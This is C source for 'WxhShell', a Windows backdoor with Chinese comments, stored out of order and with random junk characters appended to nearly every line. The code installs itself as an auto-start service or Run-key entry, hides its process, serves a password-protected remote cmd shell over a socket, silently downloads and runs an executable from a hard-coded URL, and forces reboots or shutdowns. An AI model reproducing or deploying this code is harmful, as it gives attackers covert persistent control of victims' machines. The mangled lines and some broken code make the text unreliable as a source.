    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZC97Z sE  
    if(Boot(SHUTDOWN)) cD'|zH]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LMaY}m>  
    else { -5y=K40  
    closesocket(wsh); E`b<^l`  
    ExitThread(0); `s8!zy+  
    } i4\DSQJ  
    break; G O[u  
    } _F`RwBOjs  
  // 获取shell X\1.,]O >  
  case 's': { 8X# \T/U  
    CmdShell(wsh); \# _w=gs<i  
    closesocket(wsh); AvcN,  
    ExitThread(0); 8Z>=sUMQ  
    break; aa&\HDh*  
  } ^Is#_Z|  
  // 退出 7e=s`j  
  case 'x': { Xz!O}M{4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C zxF  
    CloseIt(wsh); %b>Ee>rdD  
    break; IzlmcP3  
    } O^r,H,3S  
  // 离开 f,VJfY?#  
  case 'q': { -DWnDku8=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /3o@I5  
    closesocket(wsh); &d=ZCaP  
    WSACleanup(); M,g$  
    exit(1); Eb89B%L62G  
    break; ;oWak`]f  
        } /{!?e<N>  
  } yZY.B {  
  } lj 2OOU{  
vJsx_ i\i  
  // 提示信息 )26_7.|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XX'mM v  
} %<h+_(\h  
  } Cn.x:I@r  
gUrXaD#  
  return; x%%OgO +>  
} ^gY3))2_  
u%AyW  
// shell模块句柄 b 2XUZ5  
int CmdShell(SOCKET sock) sJ7ZE-v]h  
{ 5^C.}/#>F  
STARTUPINFO si; Yl"l|2 :  
ZeroMemory(&si,sizeof(si)); cc:,,T /i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wg=-&-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PLhlbzcf  
PROCESS_INFORMATION ProcessInfo; =4804N7  
char cmdline[]="cmd"; ~ ":}Rs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %Iv*u sXP  
  return 0; ,o s M|!,  
} DgKe!w$  
6Jd.Eg ~A7  
// 自身启动模式 17+2`@vJgM  
int StartFromService(void) \pVWYx  
{ yc.9CTxx  
typedef struct ab^>_xD<  
{ $m;DwlM  
  DWORD ExitStatus; b>f{o_  
  DWORD PebBaseAddress; ok(dCAKP  
  DWORD AffinityMask; Y1 *8&xT  
  DWORD BasePriority; Mc<O ~  
  ULONG UniqueProcessId; ObSRd$M  
  ULONG InheritedFromUniqueProcessId; aLO'.5 ~^  
}   PROCESS_BASIC_INFORMATION; Gk]6WLi  
?(>fB2^  
PROCNTQSIP NtQueryInformationProcess; eY8rm  
>rid3~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1hW"#>f7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P:fcbfH+  
~'#,*kA:6  
  HANDLE             hProcess; rixt_}aE  
  PROCESS_BASIC_INFORMATION pbi; v-!^a_3Ui  
?k+>~k{}a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >6 A8+=  
  if(NULL == hInst ) return 0; TcOmBKps'  
8 EUc 6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %IK[d#HO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y-lBaTE9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _7b' i6-  
y8$I=  
  if (!NtQueryInformationProcess) return 0; sU0W)c;  
GDY=^r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bL0>ul"  
  if(!hProcess) return 0; =_Ip0FfK!  
~ ^*;#[<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ][1 iKT  
o e,yCdPs  
  CloseHandle(hProcess); CJe~>4BT  
-^$`5Rk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c|<E~_ .w@  
if(hProcess==NULL) return 0; jP}Ix8vc=  
fzZ`O{$8  
HMODULE hMod; ,dXJCX8so  
char procName[255]; tO+Lf2Ni+  
unsigned long cbNeeded; 4x|\xg( l  
=:_DXGW2H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U o[\1)  
v/x~L$[  
  CloseHandle(hProcess); pB'{_{8aA  
;S+]Z!5LT  
if(strstr(procName,"services")) return 1; // 以服务启动 8 DPn5E#M1  
SaFNPnk=  
  return 0; // 注册表启动 1"f)\FPGe  
} v \dP  
{'z(  
// 主模块 |vtj0 ,[  
int StartWxhshell(LPSTR lpCmdLine) wyB  
{ G_S2Q @|Q  
  SOCKET wsl; 2Z+:^5  
BOOL val=TRUE; *9tRh Rc  
  int port=0; _&e$?hY  
  struct sockaddr_in door; 7'.]fs:  
0+Z?9$a1  
  if(wscfg.ws_autoins) Install(); ]h%~'8g,  
*AJYSa,z  
port=atoi(lpCmdLine); ]XEUD1N;I  
2:G/Oj h&]  
if(port<=0) port=wscfg.ws_port; S`pBEM  
C_;A~iI7  
  WSADATA data; Y(F>;/AA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eS/Au[wS  
"2Q*-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #+L:V&QE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z $Fm73  
  door.sin_family = AF_INET; R\-]t{t`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YnlZyw!  
  door.sin_port = htons(port); S|r,RBeZ  
Ud)2Mq1#M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +%R{j|8#  
closesocket(wsl); t6Nkv;)>@  
return 1; (?1/\r  
} z[WdJN{  
/kAbGjp0  
  if(listen(wsl,2) == INVALID_SOCKET) { [r^WS;9n  
closesocket(wsl); ]JH Int  
return 1; } p `A>  
} @  \*Zq  
  Wxhshell(wsl); tHV+#3h  
  WSACleanup(); Y2}m/7aF  
.*&F  
return 0; M\9+?  
g}$B4_sY  
} 3;F up4!4}  
~uu{ v')  
// 以NT服务方式启动 kL"Y>@H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HL%|DCo  
{ y.gjs <y  
DWORD   status = 0; vngn^2  
  DWORD   specificError = 0xfffffff; H` h]y  
jD ?*sd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6|QIzs<Z-X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7A^L$TY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vF9fXY=  
  serviceStatus.dwWin32ExitCode     = 0; |%@pjJ`3  
  serviceStatus.dwServiceSpecificExitCode = 0; Bi7&yS5V  
  serviceStatus.dwCheckPoint       = 0; A().1h1_k  
  serviceStatus.dwWaitHint       = 0; bzh:  
O+t'E9Fa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Rq5=/b  
  if (hServiceStatusHandle==0) return; G%>M@nYUE  
|xrnLdng0R  
status = GetLastError(); \lF-]vz*  
  if (status!=NO_ERROR) Bw>)gSB5$k  
{ \f'=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kV4,45r  
    serviceStatus.dwCheckPoint       = 0; "] ]aF1  
    serviceStatus.dwWaitHint       = 0; ~0rvrDDg  
    serviceStatus.dwWin32ExitCode     = status; 0(Hzh?t_  
    serviceStatus.dwServiceSpecificExitCode = specificError; <sG}[:v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;0-R"c)-  
    return; hbm #H7Y  
  } d(C5i8d  
?~<NyJHN%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M=4`^.Ocm  
  serviceStatus.dwCheckPoint       = 0; @zT2!C?^L  
  serviceStatus.dwWaitHint       = 0; aX? tnDv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W8M(@* T  
} Z<#h$XUA  
4xgfm.9I^  
// 处理NT服务事件,比如:启动、停止 1ezBn ZJg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4jW <*jM  
{ EAoq2_(`a  
switch(fdwControl) r-,u)zf"  
{ rW+}3] !D/  
case SERVICE_CONTROL_STOP: o@ @|4 F  
  serviceStatus.dwWin32ExitCode = 0; .:=5|0m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $Y8iT<nP  
  serviceStatus.dwCheckPoint   = 0; ) .W0}  
  serviceStatus.dwWaitHint     = 0; =oTj3+7  
  { YwZ ]J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); . dJBv  
  } 1V-sibE  
  return; 9>;CvR  
case SERVICE_CONTROL_PAUSE: Z61L;E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )gV @6w  
  break; cyB2=,  
case SERVICE_CONTROL_CONTINUE: " Rn@yZV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p ^Y2A  
  break; ]j]<CqG  
case SERVICE_CONTROL_INTERROGATE: k=9k4l  
  break; ow;a7  
}; o90[,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N'Vj& DWC  
} r`e6B!p  
?=b#H6vs  
// 标准应用程序主函数 )NO ,G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W Haf}.V  
{ ysFp$!9Ux  
fJ+4H4K  
// 获取操作系统版本 lXXWQ=  
OsIsNt=GetOsVer(); M,we,!B0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !\\OMAf7  
*!yA'z<  
  // 从命令行安装 G6s3 \de#U  
  if(strpbrk(lpCmdLine,"iI")) Install(); |Rz}bsrZ  
#I#_gjJkx  
  // 下载执行文件 +1c[!;'  
if(wscfg.ws_downexe) { %DKC/%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8F/zrPG  
  WinExec(wscfg.ws_filenam,SW_HIDE); {dlG3P='`f  
} q><wzCnRu~  
;A0ZcgF  
if(!OsIsNt) { ={50>WXE  
// 如果时win9x,隐藏进程并且设置为注册表启动 P>Ru  
HideProc(); ;8w CQ  
StartWxhshell(lpCmdLine); N!<X% Ym  
} 7A{Z1[7  
else seb/rxb  
  if(StartFromService()) (^m~UN2@~m  
  // 以服务方式启动 eF?jNO3  
  StartServiceCtrlDispatcher(DispatchTable); K6,d{n  
else AR c  
  // 普通方式启动 %!R\-Vej  
  StartWxhshell(lpCmdLine); % -.V6}V  
^G "Qp8 "  
return 0; CKX3t:HP0  
} [K1z/ea)V  
 KON^  
% @!hf!  
qR kPl!5  
=========================================== uCgJ F@  
Ct$\!|aR  
K14v6d  
|#Q0UM|'Q  
QiaBZAol  
7gREcL2  
" bL|$\'S  
TXqtE("BDl  
#include <stdio.h> rpEN\S%7P  
#include <string.h> lInf,Q7W  
#include <windows.h> WUb] 8$n  
#include <winsock2.h> { &J OO  
#include <winsvc.h> J 2k4k  
#include <urlmon.h> &td   
.>2]m[53  
#pragma comment (lib, "Ws2_32.lib") <(1[n pS&+  
#pragma comment (lib, "urlmon.lib") 2`Ihrz6  
GyfKSj;  
#define MAX_USER   100 // 最大客户端连接数 ED>P>Gg  
#define BUF_SOCK   200 // sock buffer 9[[$5t`8  
#define KEY_BUFF   255 // 输入 buffer Yi <1z:\  
#P {|7}jk  
#define REBOOT     0   // 重启 )!FheoR  
#define SHUTDOWN   1   // 关机 *]c~[&x5&  
(~fv;}}v  
#define DEF_PORT   5000 // 监听端口 :mt<]Oy3  
{9{PU&?(  
#define REG_LEN     16   // 注册表键长度 s0DT1s&  
#define SVC_LEN     80   // NT服务名长度 z}Um$'. =  
CD4@0Z+  
// 从dll定义API GtKSA#oYZB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,x?Jrcx~'C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i/ PL!'oq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N;4wbUPL7h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +K ,T^<F;  
NHe[,nIV  
// wxhshell配置信息 %eGI]!vf  
struct WSCFG { c GyBml1  
  int ws_port;         // 监听端口 dV /Es  
  char ws_passstr[REG_LEN]; // 口令 0D0uzUD-  
  int ws_autoins;       // 安装标记, 1=yes 0=no szXqJG8|  
  char ws_regname[REG_LEN]; // 注册表键名 V5gr-^E  
  char ws_svcname[REG_LEN]; // 服务名 _>_ "cKS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6NQ`IC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @h(Z;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bk]g}s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E`]un.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7Dw. 9EQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0n\AUgVPF  
WP'.o  
};   `#l1  
+}eK8>2  
// default Wxhshell configuration c=aZ[  
struct WSCFG wscfg={DEF_PORT, E&)o.l<h|  
    "xuhuanlingzhe", m ;wj|@cF  
    1, %CqG/ol  
    "Wxhshell", _|#P~Ft  
    "Wxhshell", m= %KaRI  
            "WxhShell Service", +o35${  
    "Wrsky Windows CmdShell Service", GGU wS  
    "Please Input Your Password: ", +jO#?J  
  1, bGK-?BE5+A  
  "http://www.wrsky.com/wxhshell.exe", ^ Z3y  
  "Wxhshell.exe" fS p  
    }; 2>f3n W  
W*/2x8$d  
// 消息定义模块 gLlA'`!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n6 wx/:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I1JL`\;4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =L`PP>"rW  
char *msg_ws_ext="\n\rExit."; 5UX-Qqr  
char *msg_ws_end="\n\rQuit."; Tq?f5swsI  
char *msg_ws_boot="\n\rReboot..."; mRN[l j  
char *msg_ws_poff="\n\rShutdown..."; w }8=sw  
char *msg_ws_down="\n\rSave to "; i8%Z(@_`  
cfy9wD  
char *msg_ws_err="\n\rErr!"; Oq(FV[N7t  
char *msg_ws_ok="\n\rOK!"; 4L r,}t A  
ZgmK~iJ  
char ExeFile[MAX_PATH]; C~PP}|<~V  
int nUser = 0; ,V''?@  
HANDLE handles[MAX_USER]; {mLv?"M]  
int OsIsNt; e0IGx]5i  
q(BRJ(  
SERVICE_STATUS       serviceStatus; mq4VwT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S_s;foT  
&SPIu,  
// 函数声明 -CALU X  
int Install(void); Z=l2Po n  
int Uninstall(void); |w-s{L3@+  
int DownloadFile(char *sURL, SOCKET wsh); %D7'7E8.  
int Boot(int flag); u3DFgl3-7  
void HideProc(void); n.,ZgLx["  
int GetOsVer(void); @P[%6 d  
int Wxhshell(SOCKET wsl); |BO5<`&I  
void TalkWithClient(void *cs); '=d y =  
int CmdShell(SOCKET sock); r l;Y7l  
int StartFromService(void); ~se ;L  
int StartWxhshell(LPSTR lpCmdLine); |7.X)h`  
|1Nz8Vr.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -:wV3D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9QkssI  
G$~hAZ  
// 数据结构和表定义 5oOs.(m|*C  
SERVICE_TABLE_ENTRY DispatchTable[] = uL^X$8K;(  
{ $GVf;M2*  
{wscfg.ws_svcname, NTServiceMain}, X*e:MRw[  
{NULL, NULL} \;+b1  
}; =wa5\p/  
Q?'Ax"$D  
// 自我安装 "T}HH  
int Install(void) ke'OT>8  
{ 7K!n'dAi6  
  char svExeFile[MAX_PATH]; Ge24Lp;Y 6  
  HKEY key; fJi?~[5<  
  strcpy(svExeFile,ExeFile); f&X M|Bg  
z7a @'+'  
// 如果是win9x系统,修改注册表设为自启动 r?`7i'  
if(!OsIsNt) { X4"[,:Tw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0%3T'N%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J^Wqa$<;"  
  RegCloseKey(key); ]O~/k~f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n>%TIoY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i^/ H>E%u  
  RegCloseKey(key); ?_/T$b ]  
  return 0; eh3CVgH91;  
    } w_q =mKu  
  } >k u7{1)  
} <Q.-WV]Z  
else { ";59,\6  
1:"ZS ]i  
// 如果是NT以上系统,安装为系统服务 5}_,rF?cX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ||4++84{  
if (schSCManager!=0) &MP8.( u `  
{ @'S !G"\  
  SC_HANDLE schService = CreateService xCm`g {  
  ( ~|e H8@o  
  schSCManager, Pu!%sGjD  
  wscfg.ws_svcname, 1;+(HB  
  wscfg.ws_svcdisp, .PJ_1  
  SERVICE_ALL_ACCESS, N)$yBzN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >@^j9{\  
  SERVICE_AUTO_START, R<1[hH9"o  
  SERVICE_ERROR_NORMAL, 71Mk!E=1  
  svExeFile, ,An*w_  
  NULL, -Cf< #'x_  
  NULL, U^$l$"~"  
  NULL, {I"d"'h  
  NULL, 26c1Yl,DMn  
  NULL ZlYb8+rW  
  ); C Eb .?B  
  if (schService!=0) L+" 5g@  
  { '=m ?l  
  CloseServiceHandle(schService); 3 ?DM AV  
  CloseServiceHandle(schSCManager); -o0~xspF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {-\VX2:;[9  
  strcat(svExeFile,wscfg.ws_svcname); )`]} D[j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T WgI-xB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "@E(}z'sM  
  RegCloseKey(key); =nN&8vRH  
  return 0; WqRg/  
    } :+|os"  
  } <lVW; l7  
  CloseServiceHandle(schSCManager); i6h , Aw3  
} E@\bFy_!>b  
} uCpk1d  
B1a&'WX?  
return 1; *Z"(K\1TH  
} |Xl,~-.  
0sKY;(  
// 自我卸载 Ot_xeg;7  
int Uninstall(void) p)=Fi}#D\  
{ Yv jRJ  
  HKEY key; bi[gyl#  
lTpmoDa%  
if(!OsIsNt) {  $mG&4Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /S+gh;2OC  
  RegDeleteValue(key,wscfg.ws_regname); l %{$CmG\  
  RegCloseKey(key); geu8$^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N!F ;!  
  RegDeleteValue(key,wscfg.ws_regname); -kd_gbnr3  
  RegCloseKey(key); 38T2IN  
  return 0; 3YF*TxKx  
  } n/5)}( }K  
} HLcK d`$/  
} &Q"Ox{~W  
else { '\X<+Sm'  
ef=LPCi?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VZ8HnNAbX  
if (schSCManager!=0) Ni[2 p  
{ s9Aq-N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YS5Pt)?  
  if (schService!=0) 29E9ZjSK  
  { NPM}w!  
  if(DeleteService(schService)!=0) { Vee`q.  
  CloseServiceHandle(schService); D=nuK25  
  CloseServiceHandle(schSCManager); 'WG%O7s.  
  return 0; 4X2/n  
  } ~Xg@,?Zr  
  CloseServiceHandle(schService); 2*K _RMr~  
  } 7.PG*q  
  CloseServiceHandle(schSCManager); XZeZqBr  
} Td5;bg6Qy  
} VL/%D*  
fK|F`F2V  
return 1; *gC6yQ2?  
} 6A]Ia4PL  
:8bz+3p  
// 从指定url下载文件 sCFqz[I  
int DownloadFile(char *sURL, SOCKET wsh) 8L<GAe  
{ zl j%v/9  
  HRESULT hr; ^\uj&K6l  
char seps[]= "/"; =%YU~  
char *token; V[Jd1T  
char *file; Z\d7dbv  
char myURL[MAX_PATH]; bqxbOQd  
char myFILE[MAX_PATH]; =kUN ^hb  
;m3SlP{F  
strcpy(myURL,sURL); .h2K$(/  
  token=strtok(myURL,seps); P2h}3%cJq  
  while(token!=NULL) NGlX%j4j  
  { J:,>/')n  
    file=token; H|H!VPof]  
  token=strtok(NULL,seps); Kd _tjWS  
  } zR_#c3o  
$*bd})y)I  
GetCurrentDirectory(MAX_PATH,myFILE); E3\O?+ h#  
strcat(myFILE, "\\"); )IGE2k|  
strcat(myFILE, file); mB.kV Ve0  
  send(wsh,myFILE,strlen(myFILE),0); +1 H.5|  
send(wsh,"...",3,0); >`a)gky%~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3r?Bnf:  
  if(hr==S_OK) ->x+ p"  
return 0; z F'{{7o  
else dQR2!yHEq  
return 1; X 5LI  
1\q2;5  
} >8~+[e  
h1Ca9Z_  
// 系统电源模块 sT9P  
int Boot(int flag) 93yJAao9  
{ i8w(G<Y=  
  HANDLE hToken; >+=)Q,|R  
  TOKEN_PRIVILEGES tkp; _gK@),de  
t i)foam  
  if(OsIsNt) { AA9OElCa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BYN<|=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IBY3QG  
    tkp.PrivilegeCount = 1; 3_2(L"S2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kDJ5x8Q#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kIV/o  
if(flag==REBOOT) { [1'`KJ]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KP7bU9odJ  
  return 0; TSmuNCR  
} ho2o/>Ef3  
else { HH3WZ^0>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zgo^M,g  
  return 0; LbtcZ)D!  
} b&A+`d  
  } u4NMJnX  
  else { Aj.TX%}`h  
if(flag==REBOOT) { )+Wx!c,mb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j|9;") 1  
  return 0; :k075Zr/#D  
} =M)>w4-  
else { Y:]~~-f\~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T{bM/?g  
  return 0; x`w 4LF  
} e~c;wP~cO  
} Mi9A%ZmP  
;14[)t$  
return 1; fQlR;4QX]  
} iCao;Zb  
gVsAz  
// win9x进程隐藏模块 n[CESo%[  
void HideProc(void) {*As-Y:'F  
{ :#"gQ^YNp  
($' rV!}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {LbNKjn  
  if ( hKernel != NULL ) M ZZ4  
  { f GE+DjeA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {bl&r?[y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bgqN&J)Jr)  
    FreeLibrary(hKernel); @$gvV]dA  
  } @3c5"  
<)n1Z[4  
return; j./3)  
} li8l+5d q  
"2)<'4q5)  
// 获取操作系统版本 F*o{dLJ)  
int GetOsVer(void) ;#P@(ZVT  
{ FEw51a+V  
  OSVERSIONINFO winfo; ;#I(ucB<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dY68wW>d|  
  GetVersionEx(&winfo); E:T<mI?d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vUR{!`14  
  return 1; W`^'hka  
  else QK<sibDI  
  return 0; /$'tO3  
} &Hb6  
NZ/gp"D?  
// 客户端句柄模块 YTpSR~!Rj  
int Wxhshell(SOCKET wsl) G$}\~dD  
{ DGj:qd(  
  SOCKET wsh; n'v[[bmu  
  struct sockaddr_in client; [MdVgJ9'  
  DWORD myID; HvN!_}[  
_-x|g~pV*  
  while(nUser<MAX_USER) {3lsDU4  
{ $GNN* WmHw  
  int nSize=sizeof(client); ~dC)EG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )7Gm<r  
  if(wsh==INVALID_SOCKET) return 1; 3_~V(a  
Ovv~ymj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }|%dN*',  
if(handles[nUser]==0) [94A?pn[z  
  closesocket(wsh); ;U<;R  
else iUFS1SN \  
  nUser++; LoSblV  
  } z J93EtlF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d5fnJ*a>l  
fAm^-uq[  
  return 0; !fZ\GOx  
} w<<>XIL  
/T]2ZX>  
// 关闭 socket H ifKa/}P8  
void CloseIt(SOCKET wsh) qxf!]jm  
{ B BbGq8p  
closesocket(wsh); Q4Zuz)r*  
nUser--; 0z #'=XWk  
ExitThread(0); v{Al>v}}n  
} <iuESeDG  
!qS~YA  
// 客户端请求句柄 g&!UaJ[#9  
void TalkWithClient(void *cs) zUXQl{  
{ ;e4 15T  
u n\!K  
  SOCKET wsh=(SOCKET)cs; :f G5?])  
  char pwd[SVC_LEN]; ,7KP  
  char cmd[KEY_BUFF]; @X+m,u  
char chr[1]; Bha#=>4FU  
int i,j; >!848J  
zsFzF`[k  
  while (nUser < MAX_USER) { xHq"1Vs=  
U(P^-J<n1  
if(wscfg.ws_passstr) { W@`2+}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {^=T&aCYdS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "s]r"(MX  
  //ZeroMemory(pwd,KEY_BUFF); T\I}s"d  
      i=0; 3)88B"E  
  while(i<SVC_LEN) { ~U(`XvR\4  
[Gop-Vi/~  
  // 设置超时 0uV3J  
  fd_set FdRead; ^ gMoW  
  struct timeval TimeOut; #%O|P&rA  
  FD_ZERO(&FdRead); z/!LC;(  
  FD_SET(wsh,&FdRead); I{tY;b'w  
  TimeOut.tv_sec=8; `-fWNHs  
  TimeOut.tv_usec=0; Y[)b".K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e+6mbJ7y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7rQwn2XD{  
Swz{5 J2C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0b6jGa  
  pwd=chr[0]; G2qv)7{l2  
  if(chr[0]==0xd || chr[0]==0xa) { J9eOBom8e<  
  pwd=0; iGB1f*K%x  
  break; *;t\!XDgp  
  } 0`c|ZzY  
  i++; VK*Dm:G0  
    } waI?X2  
[p3{d\=*?  
  // 如果是非法用户,关闭 socket uP, iGA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /Cy4]1dw  
} fn.KZ  
"@^Pb$BLY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ze2%#<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7irpD7P>  
WoM;)Q  
while(1) { Ha~F&H|"O  
W*S}^6ZT`  
  ZeroMemory(cmd,KEY_BUFF); j5m KJC  
cq]JD6937  
      // 自动支持客户端 telnet标准   ypU-/}Cf,  
  j=0; -V g(aD  
  while(j<KEY_BUFF) { `#HtVI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L$L/5/  
  cmd[j]=chr[0]; RO+ jVY~H-  
  if(chr[0]==0xa || chr[0]==0xd) { :I_p4S.)  
  cmd[j]=0; wcH,!;3z+  
  break; ( jACLo  
  } $7h]A$$Fv  
  j++; OfG/7pw5%B  
    } &~mJ ).*  
&Va="HNKt  
  // 下载文件 b@QCdi,u  
  if(strstr(cmd,"http://")) { |RjAp.pm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o|:c{pwq  
  if(DownloadFile(cmd,wsh)) E7'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~c,CngeL0  
  else 9|D*}OY>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &F- \t5X=i  
  } =yF]#>Ah  
  else { }y%c.  
apOXcZ   
    switch(cmd[0]) { (> W \Nf  
  HQvJ*U4++  
